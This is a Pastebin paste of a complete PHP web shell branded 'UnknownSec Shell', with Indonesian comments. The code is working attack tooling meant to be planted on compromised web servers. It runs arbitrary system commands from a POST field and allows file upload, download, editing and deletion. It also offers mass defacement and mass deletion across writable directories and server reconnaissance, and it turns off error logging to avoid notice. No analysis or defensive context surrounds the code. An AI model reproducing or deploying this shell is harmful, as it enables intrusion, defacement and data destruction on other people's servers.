Lathoz

Untitled

Jul 18th, 2022
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.75 KB | None | 0 0
  1. <?php
  2. /* Mau recode? izin dulu, recode ga izin itu ga keren ajg */
  3. set_time_limit(0);
  4. error_reporting(0);
  5. @ini_set('error_log',null);
  6. @ini_set('log_errors',0);
  7. @ini_set('max_execution_time',0);
  8. @ini_set('output_buffering',0);
  9. @ini_set('display_errors', 0);
  10. date_default_timezone_set('Asia/Jakarta');
  11. $_n = 'UnknownSec';
  12. $_s = "<style>table{display:none;}</style><div class='table-responsive'><hr></div>";
  13. $_r = "required='required'";
  14. $_x = "<i class='bi bi-gear-fill'></i>";
  15. if(isset($_GET['option']) && $_POST['opt'] == 'download'){
  16. header('Content-type: text/plain');
  17. header('Content-Disposition: attachment; filename="'.$_POST['name'].'"');
  18. echo(file_get_contents($_POST['path']));
  19. exit();
  20. }
  21. function ▟($dir,$p) {
  22. if(isset($_GET['path'])) {
  23. $▚ = $_GET['path'];
  24. } else {
  25. $▚ = getcwd();
  26. }
  27. if(is_writable($▚)) {
  28. return "<gr>".$p."</gr>";
  29. } else {
  30. return "<rd>".$p."</rd>";
  31. }
  32. }
  33. function ok(){
  34. echo '<div class="alert alert-success alert-dismissible fade show my-3" role="alert"><button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>';
  35. }
  36. function er(){
  37. echo '<div class="alert alert-danger alert-dismissible fade show my-3" role="alert"><button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>';
  38. }
  39. function sz($byt){
  40. $sz = array('B', 'KB', 'MB', 'GB', 'TB');
  41. for($i = 0; $byt >= 1024 && $i < (count($sz) -1 ); $byt /= 1024, $i++ );
  42. return(round($byt,2)." ".$sz[$i]);
  43. }
  44. function ip() {
  45. $ipas = '';
  46. if(getenv('HTTP_CLIENT_IP'))
  47. $ipas = getenv('HTTP_CLIENT_IP');
  48. else if(getenv('HTTP_X_FORWARDED_FOR'))
  49. $ipas = getenv('HTTP_X_FORWARDED_FOR');
  50. else if(getenv('HTTP_X_FORWARDED'))
  51. $ipas = getenv('HTTP_X_FORWARDED');
  52. else if(getenv('HTTP_FORWARDED_FOR'))
  53. $ipas = getenv('HTTP_FORWARDED_FOR');
  54. else if(getenv('HTTP_FORWARDED'))
  55. $ipas = getenv('HTTP_FORWARDED');
  56. else if(getenv('REMOTE_ADDR'))
  57. $ipas = getenv('REMOTE_ADDR');
  58. else
  59. $ipas = 'IP tidak dikenali';
  60. return $ipas;
  61. }
  62. function p($file){
  63. if($p = @fileperms($file)){
  64. $i = 'u';
  65. if(($p & 0xC000) == 0xC000)$i = 's';
  66. elseif(($p & 0xA000) == 0xA000)$i = 'l';
  67. elseif(($p & 0x8000) == 0x8000)$i = '-';
  68. elseif(($p & 0x6000) == 0x6000)$i = 'b';
  69. elseif(($p & 0x4000) == 0x4000)$i = 'd';
  70. elseif(($p & 0x2000) == 0x2000)$i = 'c';
  71. elseif(($p & 0x1000) == 0x1000)$i = 'p';
  72. $i .= ($p & 00400)? 'r':'-';
  73. $i .= ($p & 00200)? 'w':'-';
  74. $i .= ($p & 00100)? 'x':'-';
  75. $i .= ($p & 00040)? 'r':'-';
  76. $i .= ($p & 00020)? 'w':'-';
  77. $i .= ($p & 00010)? 'x':'-';
  78. $i .= ($p & 00004)? 'r':'-';
  79. $i .= ($p & 00002)? 'w':'-';
  80. $i .= ($p & 00001)? 'x':'-';
  81. return $i;
  82. }
  83. else return "- ?? -";
  84. }
  85. echo "
  86. <!DOCTYPE HTML>
  87. <html>
  88. <head>
  89. <meta name='author' content='$_n'>
  90. <meta name='robots' content='noindex,nofollow'>
  91. <title>".$_SERVER['HTTP_HOST']." - $_n</title>
  92. <meta name='viewport' content='width=device-width, initial-scale=0.70'>
  93. <link rel='stylesheet' href='//random-php.ftp.sh/style.css'>
  94. <script src='//cdnjs.cloudflare.com/ajax/libs/prism/1.6.0/prism.js'></script>
  95. <script src='//cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js'></script>
  96. <script src='//code.jquery.com/jquery-3.3.1.slim.min.js'></script>
  97. </head>
  98. <style>
  99. .shell {
  100. border-radius: 4px;
  101. border: 1px solid rgba(255, 255, 255, 0.4);
  102. font-size: 10pt;
  103. display: flex;
  104. flex-direction: column;
  105. align-items: stretch;
  106. background: #242424;
  107. color: #fff;
  108. }
  109. .pre {
  110. height: 500px;
  111. overflow: auto;
  112. white-space: pre-wrap;
  113. flex-grow: 1;
  114. margin:10px auto;
  115. padding:10px;
  116. line-height:1.3em;
  117. overflow-x:scroll;
  118. }
  119. </style>
  120. <body class='bg-secondary text-light'>
  121. <div class='container-fluid'>
  122. <div class='py-3' id='main'>
  123. <div class='box shadow bg-dark p-4 rounded-3'>
  124. <div class='corner text-secondary'>shell bypass 403</div>
  125. <a class='text-decoration-none text-light' href='".$_SERVER['PHP_SELF']."'><h4>$_n Shell</h4></a>";
  126. if(isset($_GET['path'])){
  127. $path = $_GET['path'];
  128. } else {
  129. $path = getcwd();
  130. }
  131. $path = str_replace('\\','/',$path);
  132. $paths = explode('/',$path);
  133. foreach($paths as $id=>$pat){
  134. if($pat == '' && $id == 0){
  135. $a = true;
  136. echo '<div class="table-responsive"><i class="bi bi-hdd-rack"></i> : <a class="text-decoration-none text-light" href="?path=/">/</a>';
  137. continue;
  138. }
  139. if($pat == '') continue;
  140. echo '<a class="text-decoration-none" href="?path=';
  141. for($i=0;$i<=$id;$i++){
  142. echo "$paths[$i]";
  143. if($i != $id) echo "/";
  144. }
  145. echo '">'.$pat.'</a>/';
  146. }
  147. echo " [ ".▟($path, p($path))." ]</div>";
  148. echo "
  149. </div>
  150. </div>
  151. </div>
  152. <div class='container-fluid'>
  153. <div class='box shadow bg-dark p-4 rounded-3'>
  154. <div class='text-center'>
  155. <a class='btn btn-outline-light btn-sm' href='?id=upload&path=$path'><i class='bi bi-upload'></i> upload</a>
  156. <a class='btn btn-outline-light btn-sm' href='?id=deface&path=$path'><i class='bi bi-exclamation-diamond'></i> mass deface</a>
  157. <a class='btn btn-outline-light btn-sm' href='?id=delete&path=$path'><i class='bi bi-trash'></i> mass delete</a>
  158. <a class='btn btn-outline-light btn-sm' href='?id=cmd&path=$path'><i class='bi bi-terminal'></i> console</a>
  159. <a class='btn btn-outline-light btn-sm' href='?id=info&path=$path'><i class='bi bi-info-circle'></i> info server</a>
  160. </div>";
  161. // tools nya
  162. if(isset($_GET['path'])) {
  163. $dir = $_GET['path'];
  164. chdir($dir);
  165. } else {
  166. $dir = getcwd();
  167. }
  168. $dir = str_replace("\\","/",$dir);
  169. $scdir = explode("/", $dir);
  170. for($i = 0; $i <= $c_dir; $i++) {
  171. $scdir[$i];
  172. if($i != $c_dir) {
  173. } elseif($_GET['id'] == 'deface'){
  174. echo "$_s";
  175. function mass_kabeh($dir,$namafile,$isi_script) {
  176. if(is_writable($dir)) {
  177. $dira = scandir($dir);
  178. foreach($dira as $dirb) {
  179. $dirc = "$dir/$dirb";
  180. $▚ = $dirc.'/'.$namafile;
  181. if($dirb === '.') {
  182. file_put_contents($▚, $isi_script);
  183. } elseif($dirb === '..') {
  184. file_put_contents($▚, $isi_script);
  185. } else {
  186. if(is_dir($dirc)) {
  187. if(is_writable($dirc)) {
  188. echo "[<gr><i class='bi bi-check-all'></i></gr>]&nbsp;$▚<br>";
  189. file_put_contents($▚, $isi_script);
  190. $▟ = mass_kabeh($dirc,$namafile,$isi_script);
  191. }
  192. }
  193. }
  194. }
  195. }
  196. }
  197. function mass_biasa($dir,$namafile,$isi_script) {
  198. if(is_writable($dir)) {
  199. $dira = scandir($dir);
  200. foreach($dira as $dirb) {
  201. $dirc = "$dir/$dirb";
  202. $▚ = $dirc.'/'.$namafile;
  203. if($dirb === '.') {
  204. file_put_contents($▚, $isi_script);
  205. } elseif($dirb === '..') {
  206. file_put_contents($▚, $isi_script);
  207. } else {
  208. if(is_dir($dirc)) {
  209. if(is_writable($dirc)) {
  210. echo "[<gr><i class='bi bi-check-all'></i></gr>]&nbsp;$dirb/$namafile<br>";
  211. file_put_contents($▚, $isi_script);
  212. }
  213. }
  214. }
  215. }
  216. }
  217. }
  218. if($_POST['start']) {
  219. if($_POST['tipe'] == 'massal') {
  220. mass_kabeh($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  221. } elseif($_POST['tipe'] == 'biasa') {
  222. mass_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  223. }
  224. echo "<br>";
  225. }
  226. echo "
  227. <div class='card text-dark'>
  228. <div class='card-header'>
  229. <form method='POST'>
  230. <kbd>$_x&nbsp;Mass deface</kbd>
  231. <br>Tipe:<br>
  232. <div class='custom-control custom-switch'>
  233. <input class='custom-control-input' type='checkbox' id='customSwitch' name='tipe' value='biasa'>
  234. <label class='custom-control-label' for='customSwitch'>Biasa</label>
  235. </div>
  236. <div class='custom-control custom-switch'>
  237. <input class='custom-control-input' type='checkbox' id='customSwitch1' name='tipe' value='massal'>
  238. <label class='custom-control-label' for='customSwitch1'>Massal</label>
  239. </div>
  240. <i class='bi bi-folder'></i> Lokasi:
  241. <input class='form-control btn-sm' type='text' name='d_dir' value='$dir'>
  242. <i class='bi bi-file-earmark'></i> Nama file:
  243. <input class='form-control btn-sm' type='text' name='d_file' placeholder='nama file' $_r>
  244. <i class='bi bi-file-earmark'></i> Isi file:
  245. <textarea class='form-control btn-sm' rows='7' name='script' placeholder='isi file' $_r></textarea>
  246. <input class='btn btn-dark btn-sm btn-block' type='submit' name='start' value='mass deface'>
  247. </form>
  248. </div>
  249. </div>
  250. <br>";
  251. } elseif($_GET['id'] == 'cmd'){
  252. if($_POST['ekseCMD']) {
  253. $cmd = $_POST['ekseCMD'];
  254. }
  255. echo "$_s
  256. <div class='card text-dark'>
  257. <div class='card-header'>
  258. <kbd>$_x&nbsp;Console</kbd>
  259. <div class='container-fluid language-javascript'>
  260. <pre style='font-size:10px;'><gr>~</gr>$&nbsp;<rd>$cmd</rd><br><code>"; system($_POST['ekseCMD'].' 2>&1'); echo "</code></pre>
  261. </div>
  262. <form method='POST'>
  263. <div class='input-group mb-3'>
  264. <input class='form-control btn-sm' type='text' name='ekseCMD' value='$cmd' placeholder='whoami' $_r>
  265. <button class='btn btn-dark btn-sm' type='sumbit'><i class='bi bi-arrow-return-right'></i></button>
  266. </div>
  267. </form>
  268. </div>
  269. </div>
  270. <br>";
  271. } elseif($_GET['id'] == 'info'){
  272. $disfunc = @ini_get("disable_functions");
  273. if(empty($disfunc)) {
  274. $disfc = "<gr>NONE</gr>";
  275. } else {
  276. $disfc = "<rd>$disfunc</rd>";
  277. }
  278. if(!function_exists('posix_getegid')) {
  279. $user = @get_current_user();
  280. $uid = @getmyuid();
  281. $gid = @getmygid();
  282. $group = "?";
  283. } else {
  284. $uid = @posix_getpwuid(posix_geteuid());
  285. $gid = @posix_getgrgid(posix_getegid());
  286. $user = $uid['name'];
  287. $uid = $uid['uid'];
  288. $group = $gid['name'];
  289. $gid = $gid['gid'];
  290. }
  291. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<rd>ON</rd>" : "<gr>OFF</gr>";
  292. echo "$_s
  293. <div class='card text-dark'>
  294. <div class='card-header'>
  295. <kbd>$_x&nbsp;Info server</kbd>
  296. <br>
  297. Uname: <gr>".php_uname()."</gr><br />
  298. Software: <gr>".$_SERVER['SERVER_SOFTWARE']."</gr><br />
  299. PHP version: <gr>".PHP_VERSION."</gr> <a class='text-decoration-none' href='?id=phpinfo&path=$path'>[ PHP INFO ]</a> PHP os: <gr>".PHP_OS."</gr><br />
  300. Server Ip: <gr>".gethostbyname($_SERVER['HTTP_HOST'])."</gr><br />
  301. Your Ip: <gr>".ip()."</gr><br />
  302. User: <gr>$user</gr> ($uid) | Group: <gr>$group</gr> ($gid)<br />
  303. Safe Mode: $sm<br />
  304. <kbd>Disable Function:</kbd><pre>$disfc</pre>
  305. </div>
  306. </div>
  307. <br>";
  308. } elseif($_GET['id'] == 'phpinfo'){
  309. @ob_start();
  310. @eval("phpinfo();");
  311. $buff = @ob_get_contents();
  312. @ob_end_clean();
  313. $awal = strpos($buff,"<body>")+6;
  314. $akhir = strpos($buff,"</body>");
  315. echo "<pre class='php_info'>".substr($buff,$awal,$akhir-$awal)."</pre>";
  316. exit;
  317. } elseif($_GET['id'] == 'upload'){
  318. echo "$_s
  319. <div class='card text-dark'>
  320. <div class='card-header'>";
  321. if(isset($_FILES['file'])){
  322. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  323. echo '<strong>Upload</strong> ok! '.ok().'</div>';
  324. } else {
  325. echo '<strong>Upload</strong> gagal! '.er().'</div>';
  326. }
  327. }
  328. echo "
  329. <form method='POST' enctype='multipart/form-data'>
  330. <kbd>$_x&nbsp;Upload File</kbd>
  331. <div class='input-group mb-3'>
  332. <input class='form-control form-control-sm' type='file' name='file' $_r>
  333. <button class='btn btn-dark btn-sm' type='submit'><i class='bi bi-arrow-return-right'></i></button>
  334. </div>
  335. </form>
  336. </div>
  337. </div>
  338. <br>";
  339. } elseif($_GET['id'] == 'filebaru') {
  340. echo "$_s";
  341. if(isset($_POST['bikin'])){
  342. $name = $_POST['nama_file'];
  343. $isi_file = $_POST['isi_file'];
  344. foreach ($name as $nama_file){
  345. $handle = @fopen("$nama_file", "w");
  346. if($isi_file){
  347. $buat = @fwrite($handle, $isi_file);
  348. } else {
  349. $buat = $handle;
  350. }
  351. }
  352. if($buat){
  353. echo '<strong>Buat file</strong> ok! '.ok().'</div>';
  354. } else {
  355. echo '<strong>Buat file</strong> gagal! '.er().'</div>';
  356. }
  357. }
  358. echo "
  359. <div class='card text-dark'>
  360. <div class='card-header'>
  361. <kbd>$_x&nbsp;Buat file</kbd>
  362. <form method='POST'>
  363. <i class='bi bi-file-earmark'></i> Nama file:
  364. <input class='form-control form-control-sm' type='text' name='nama_file[]' placeholder='Nama file' $_r>
  365. <i class='bi bi-file-earmark'></i> Isi file:
  366. <textarea class='form-control form-control-sm' name='isi_file' rows='7' placeholder='Isi file' $_r ></textarea>
  367. <input class='btn btn-dark btn-sm btn-block' type='submit' name='bikin' value='buat'>
  368. </form>
  369. </div>
  370. </div>
  371. <br>";
  372. } elseif($_GET['id'] == 'dirbaru'){
  373. echo "$_s";
  374. if(isset($_POST['buat'])){
  375. $nama = $_POST['nama_dir'];
  376. foreach ($nama as $nama_dir){
  377. $folder = preg_replace("([^\w\s\d\-_~,;:\[\]\(\].]|[\.]{2,})", '', $nama_dir);
  378. $fd = @mkdir ($folder);
  379. }
  380. if($fd){
  381. echo '<strong>Buat dir</strong> ok! '.ok().'</div>';
  382. } else {
  383. echo '<strong>Buat dir</strong> gagal! '.er().'</div>';
  384. }
  385. }
  386. echo "
  387. <div class='card text-dark'>
  388. <div class='card-header'>
  389. <kbd>$_x&nbsp;Buat dir</kbd>
  390. <form method='POST'>
  391. <i class='bi bi-folder'></i> Nama dir:
  392. <div class='input-group mb-3'>
  393. <input class='form-control form-control-sm' type='text' name='nama_dir[]' placeholder='Nama dir' $_r>
  394. <input class='btn btn-dark btn-sm' type='submit' name='buat' value='buat'>
  395. </div>
  396. </form>
  397. </div>
  398. </div>
  399. <br>";
  400. } elseif($_GET['id'] == 'delete'){
  401. echo "$_s";
  402. function hapus_massal($dir,$namafile) {
  403. if(is_writable($dir)) {
  404. $dira = scandir($dir);
  405. foreach($dira as $dirb) {
  406. $dirc = "$dir/$dirb";
  407. $▚ = $dirc.'/'.$namafile;
  408. if($dirb === '.') {
  409. if(file_exists("$dir/$namafile")) {
  410. unlink("$dir/$namafile");
  411. }
  412. } elseif($dirb === '..') {
  413. if(file_exists("".dirname($dir)."/$namafile")) {
  414. unlink("".dirname($dir)."/$namafile");
  415. }
  416. } else {
  417. if(is_dir($dirc)) {
  418. if(is_writable($dirc)) {
  419. if(file_exists($▚)) {
  420. echo "[<gr><i class='bi bi-check-all'></i></gr>]&nbsp;$▚<br>";
  421. unlink($▚);
  422. $▟ = hapus_massal($dirc,$namafile);
  423. }
  424. }
  425. }
  426. }
  427. }
  428. }
  429. }
  430. if($_POST['start']) {
  431. hapus_massal($_POST['d_dir'], $_POST['d_file']);
  432. echo "<br>";
  433. }
  434. echo "
  435. <div class='card text-dark'>
  436. <div class='card-header'>
  437. <form method='POST'>
  438. <kbd>$_x&nbsp;Mass delete</kbd>
  439. <br>
  440. <i class='bi bi-folder'></i> Lokasi:
  441. <input class='form-control btn-sm' type='text' name='d_dir' value='$dir'>
  442. <i class='bi bi-file-earmark'></i> Nama file:
  443. <div class='input-group mb-3'>
  444. <input class='form-control btn-sm' type='text' name='d_file' placeholder='nama file' $_r><br>
  445. <div class='input-group-append'>
  446. <input class='btn btn-dark btn-sm' type='submit' name='start' value='mass delete'>
  447. </div>
  448. </form>
  449. </div>
  450. </div>
  451. </div>
  452. <br>";
  453. }
  454. }
  455. // akhir tools
  456. if(isset($_GET['filesrc'])){
  457. echo "<br><b>name : </b>".basename($_GET['filesrc']);"</br>";
  458. echo '<div class="shell pre" id="see"><pre style="font-size:10px;">'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre></div><br/>';
  459. } elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  460. echo '<br><b>name : </b>'.basename($_POST['path']);'</br>';
  461. //rename file
  462. if($_POST['opt'] == 'rename'){
  463. if(isset($_POST['newname'])){
  464. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  465. echo '<strong>Rename</strong> ok! '.ok().'</div>';
  466. } else {
  467. echo '<strong>Rename</strong> gagal! '.er().'</div>';
  468. }
  469. $_POST['name'] = $_POST['newname'];
  470. }
  471. echo '
  472. <form method="POST">
  473. <div class="input-group mb-3">
  474. <input class="form-control form-control-sm" name="newname" type="text" value="'.$_POST['name'].'" />
  475. <input type="hidden" name="path" value="'.$_POST['path'].'">
  476. <input type="hidden" name="opt" value="rename">
  477. <input class="btn btn-outline-light btn-sm" type="submit" value="rename"/>
  478. </div>
  479. </form>';
  480. } elseif($_POST['opt'] == 'edit'){
  481. if(isset($_POST['src'])){
  482. $fp = fopen($_POST['path'],'w');
  483. if(fwrite($fp,$_POST['src'])){
  484. echo '<strong>Edit</strong> ok! '.ok().'</div>';
  485. } else {
  486. echo '<strong>Edit</strong> gagal! '.er().'</div>';
  487. }
  488. fclose($fp);
  489. }
  490. echo '
  491. <form method="POST">
  492. <textarea class="form-control form-control-sm" rows="7" name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  493. <input type="hidden" name="path" value="'.$_POST['path'].'">
  494. <input type="hidden" name="opt" value="edit">
  495. <input class="btn btn-outline-light btn-sm btn-block" type="submit" value="edit"/>
  496. </form>
  497. <br>';
  498. }
  499. } else {
  500. //delete dir & file
  501. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  502. if($_POST['type'] == 'dir'){
  503. if(rmdir($_POST['path'])){
  504. echo '<strong>Delete dir</strong> ok! '.ok().'</div>';
  505. } else {
  506. echo '<strong>Delete dir</strong> gagal! '.er().'</div>';
  507. }
  508. } elseif($_POST['type'] == 'file'){
  509. if(unlink($_POST['path'])){
  510. echo '<strong>Delete file</strong> ok! '.ok().'</div>';
  511. } else {
  512. echo '<strong>Delete file</strong> gagal! '.er().'</div>';
  513. }
  514. }
  515. }
  516. $scandir = scandir($path);
  517. $pa = getcwd();
  518. echo '<div class="table-responsive">
  519. <table class="table table-hover table-dark text-light">
  520. <thead>
  521. <tr>
  522. <td class="text-center">name</td>
  523. <td class="text-center">last edit</td>
  524. <td class="text-center">size</td>
  525. <td class="text-center">owner<gr>:</gr>downer</td>
  526. <td class="text-center">permission</td>
  527. <td class="text-center">options</td>
  528. </tr>
  529. </thead>
  530. <tbody class="text-nowrap">
  531. <tr>
  532. <td><i class="bi bi-folder2-open"></i><a class="text-decoration-none text-secondary" href="?path='.dirname($dir).'">..</a></td><td></td><td></td><td></td><td></td><td class="text-center">
  533. <div class="btn-group">
  534. <a class="btn btn-outline-light btn-sm" href="?id=filebaru&path='.$dir.'"><i class="bi bi-file-earmark-plus-fill"></i></a>
  535. <a class="btn btn-outline-light btn-sm" href="?id=dirbaru&path='.$dir.'"><i class="bi bi-folder-plus"></i></a>
  536. </div>
  537. </td>
  538. </tr>';
  539. foreach($scandir as $dir){
  540. $dt = date("Y-m-d H:i:s", filemtime("$path/$dir"));
  541. if(function_exists('posix_getpwuid')) {
  542. $downer = @posix_getpwuid(fileowner("$path/$dir"));
  543. $downer = $downer['name'];
  544. } else {
  545. $downer = fileowner("$path/$dir");
  546. }
  547. if(function_exists('posix_getgrgid')) {
  548. $dgrp = @posix_getgrgid(filegroup("$path/$dir"));
  549. $dgrp = $dgrp['name'];
  550. } else {
  551. $dgrp = filegroup("$path/$dir");
  552. }
  553. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  554. echo "
  555. <tr>
  556. <td><i class='bi bi-folder-fill'></i><a class='text-decoration-none text-secondary' href=\"?path=$path/$dir\">$dir</a></td>
  557. <td class='text-center'>$dt</td>
  558. <td class='text-center'>dir</td>
  559. <td class='text-center'>$downer<gr>:</gr>$dgrp</td>
  560. <td class='text-center'>";
  561. if(is_writable("$path/$dir")) echo '<gr>';
  562. elseif(!is_readable("$path/$dir")) echo '<rd>';
  563. echo p("$path/$dir");
  564. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</gr></rd></td>';
  565. echo "
  566. <td class=\"text-center\">
  567. <form method=\"POST\" action=\"?option&path=$path\">
  568. <div class=\"btn-group\">
  569. <button class=\"btn btn-outline-light btn-sm\" name=\"opt\" value=\"rename\"><i class='bi bi-pencil-fill'></i></button>
  570. <button class=\"btn btn-outline-light btn-sm\" name=\"opt\" value=\"delete\"><i class='bi bi-trash-fill'></i></button>
  571. </div>
  572. <input type=\"hidden\" name=\"type\" value=\"dir\">
  573. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  574. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  575. </form>
  576. </td>
  577. </tr>";
  578. }
  579. foreach($scandir as $file){
  580. $ft = date("Y-m-d H:i:s", filemtime("$path/$file"));
  581. if(!is_file($path.'/'.$file)) continue;
  582. if(function_exists('posix_getpwuid')) {
  583. $fowner = @posix_getpwuid(fileowner("$path/$file"));
  584. $fowner = $fowner['name'];
  585. } else {
  586. $fowner = fileowner("$path/$file");
  587. }
  588. if(function_exists('posix_getgrgid')) {
  589. $fgrp = @posix_getgrgid(filegroup("$path/$file"));
  590. $fgrp = $fgrp['name'];
  591. } else {
  592. $fgrp = filegroup("$path/$file");
  593. }
  594. echo "
  595. <tr>
  596. <td><i class='bi bi-file-earmark-code-fill'></i><a class='text-decoration-none text-secondary' href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  597. <td class='text-center'>$ft</td>
  598. <td class='text-center'>".sz(filesize($file))."</td>
  599. <td class='text-center'>$fowner<gr>:</gr>$fgrp</td>
  600. <td class='text-center'>";
  601. if(is_writable("$path/$file")) echo '<gr>';
  602. elseif(!is_readable("$path/$file")) echo '<rd>';
  603. echo p("$path/$file");
  604. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</gr></rd></td>';
  605. echo "
  606. <td class=\"text-center\">
  607. <form method=\"POST\" action=\"?option&path=$path\">
  608. <div class=\"btn-group\">
  609. <button class=\"btn btn-outline-light btn-sm\" name=\"opt\" value=\"edit\"><i class='bi bi-pencil-square'></i></button>
  610. <button class=\"btn btn-outline-light btn-sm\" name=\"opt\" value=\"rename\"><i class='bi bi-pencil-fill'></i></button>
  611. <button class=\"btn btn-outline-light btn-sm\" name=\"opt\" value=\"download\"><i class='bi bi-download'></i></button>
  612. <button class=\"btn btn-outline-light btn-sm\" name=\"opt\" value=\"delete\"><i class='bi bi-trash-fill'></i></button>
  613. </div>
  614. <input type=\"hidden\" name=\"type\" value=\"file\">
  615. <input type=\"hidden\" name=\"name\" value=\"$file\">
  616. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  617. </form>
  618. </td>
  619. </tr>";
  620. }
  621. }
  622. echo "
  623. </tbody>
  624. </table>
  625. <div class='text-secondary'>&copy; ".date("Y")." $_n</div>
  626. </div>
  627. </div>
  628. </body>
  629. </html>";
  630. ?>
Advertisement
Add Comment
Please, Sign In to add comment